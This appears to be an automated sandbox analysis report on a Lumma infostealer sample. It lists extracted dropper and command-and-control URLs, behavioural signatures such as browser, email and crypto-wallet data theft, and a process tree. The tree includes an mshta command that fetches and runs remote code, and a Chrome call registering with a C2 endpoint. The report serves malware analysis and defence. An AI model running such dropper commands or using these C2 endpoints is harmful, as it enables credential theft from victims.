Analysis

  • max time kernel
    149s
  • max time network
    129s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    24/05/2026, 17:26

General

  • Target
    tmpig0myjfo.exe
  • Size 31.4MB
  • Sample260524-vz2faact3q
  • SHA256 7932533ad4851a326bfe93f158e83bc5fd20cae88ee4fbbba98dbb03cca5c31f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://snconor.vg

Extracted

Family
  • lumma

C2
  • https://springvc.cyou

  • https://decrnoj.club/xxx

  • https://pomflgf.vu/help

  • https://carytui.vu/caccc

  • https://mushxhb.best/info

  • https://genugsq.best/main

  • https://ulmudhw.shop/create

  • https://strikql.shop/owner

  • https://longmbx.click/manifest

Attributes
  • build_id

    83af73e8484fc9f764374a223760d87d773a2c346e

Signatures

  • Family: Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 16 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\tmpig0myjfo.exe
    "C:\Users\Admin\AppData\Local\Temp\tmpig0myjfo.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4228
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" springvc.cyou/api/set_agent?id=A2CA0E71BD24956701AEC7B30ADF174C&token=83af73e8484fc9f764374a223760d87d773a2c346e&description=&agent=Chrome
      2⤵
      • Drops file in Windows directory
      • Enumerates system info in registry
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:1048
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffed4b9c728,0x7ffed4b9c734,0x7ffed4b9c740
        3⤵
          PID:4732
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1600,i,6130818065946559611,8194430975646482815,262144 --field-trial-handle=1956,i,883223947039299947,5483733154251712388,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1952 /prefetch:2
          3⤵
            PID:1984
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2248,i,454754613893449746,13328118086751254152,524288 --field-trial-handle=1956,i,883223947039299947,5483733154251712388,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2252 /prefetch:11
            3⤵
            • System Time Discovery
            PID:2988
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2376,i,10582355730687939961,17939403315404583728,524288 --field-trial-handle=1956,i,883223947039299947,5483733154251712388,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2692 /prefetch:13
            3⤵
              PID:4100
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3052,i,11256790232715947130,6252320004086767382,2097152 --field-trial-handle=1956,i,883223947039299947,5483733154251712388,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3164 /prefetch:1
              3⤵
                PID:2148
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3068,i,3891589760330672513,1779958552911460420,2097152 --field-trial-handle=1956,i,883223947039299947,5483733154251712388,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3204 /prefetch:1
                3⤵
                  PID:5104
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4232,i,821876792359737992,6542752252749694906,2097152 --field-trial-handle=1956,i,883223947039299947,5483733154251712388,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4244 /prefetch:9
                  3⤵
                    PID:972
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5288,i,8875975717124406556,10202111978593112251,524288 --field-trial-handle=1956,i,883223947039299947,5483733154251712388,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5292 /prefetch:14
                    3⤵
                      PID:3596
                  • C:\Windows\SYSTEM32\mshta.exe
                    mshta.exe https://snconor.vg
                    2⤵
                    • Badlisted process makes network request
                    • Modifies Internet Explorer settings
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1836
                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                  1⤵
                    PID:2412
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                    1⤵
                      PID:464

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          SCT Auditing Pending Reports

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                          • Size 2B
                          • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                          • MD5 SHA1 SHA512

                          Web Data

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                          • Size 138KB
                          • SHA256 a9f14101713c139c45510f8da5e2a6fd8c6dde137f109f9542080d550fd275d6
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          e9d91b8b-aeff-4f7f-b2c2-205bfdaa95b7.tmp

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\e9d91b8b-aeff-4f7f-b2c2-205bfdaa95b7.tmp
                          • Size 6B
                          • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                          • MD5 SHA1 SHA512

                          Last Version

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
                          • Size 13B
                          • SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
                          • MD5 SHA1 SHA512

                          Local State

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                          • Size 115KB
                          • SHA256 2cde54156f4d11cddc36225341b63681916f954bac099237d3f06db244f1a50e
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/4228-58-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-54-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-82-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-101-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-100-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-99-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-98-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-97-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-55-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-95-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-94-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-93-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-92-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-91-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-90-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-89-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-88-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-87-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-86-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-85-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-84-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-83-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-81-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-80-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-79-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-78-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-77-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-76-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-75-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-74-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-73-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-72-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-57-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-70-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-69-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-68-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-67-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-66-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-65-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-63-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-62-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-61-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-60-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-59-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-0-0x0000000021840000-0x000000002189F000-memory.dmp

                          memory/4228-64-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-71-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-37-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-96-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-56-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-53-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-52-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-51-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-50-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-49-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-48-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-47-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-46-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-45-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-44-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-43-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-42-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-41-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-39-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-40-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-38-0x0000000021840000-0x000000002189F000-memory.dmp

                          memory/4228-115-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-116-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-114-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-113-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-117-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-119-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-121-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-120-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-118-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-122-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-124-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-123-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-142-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-141-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-140-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-139-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-138-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-137-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-136-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-135-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-134-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-133-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-132-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-131-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-130-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-129-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-128-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-127-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-126-0x00000000238E0000-0x00000000238E1000-memory.dmp

                          memory/4228-125-0x00000000238E0000-0x00000000238E1000-memory.dmp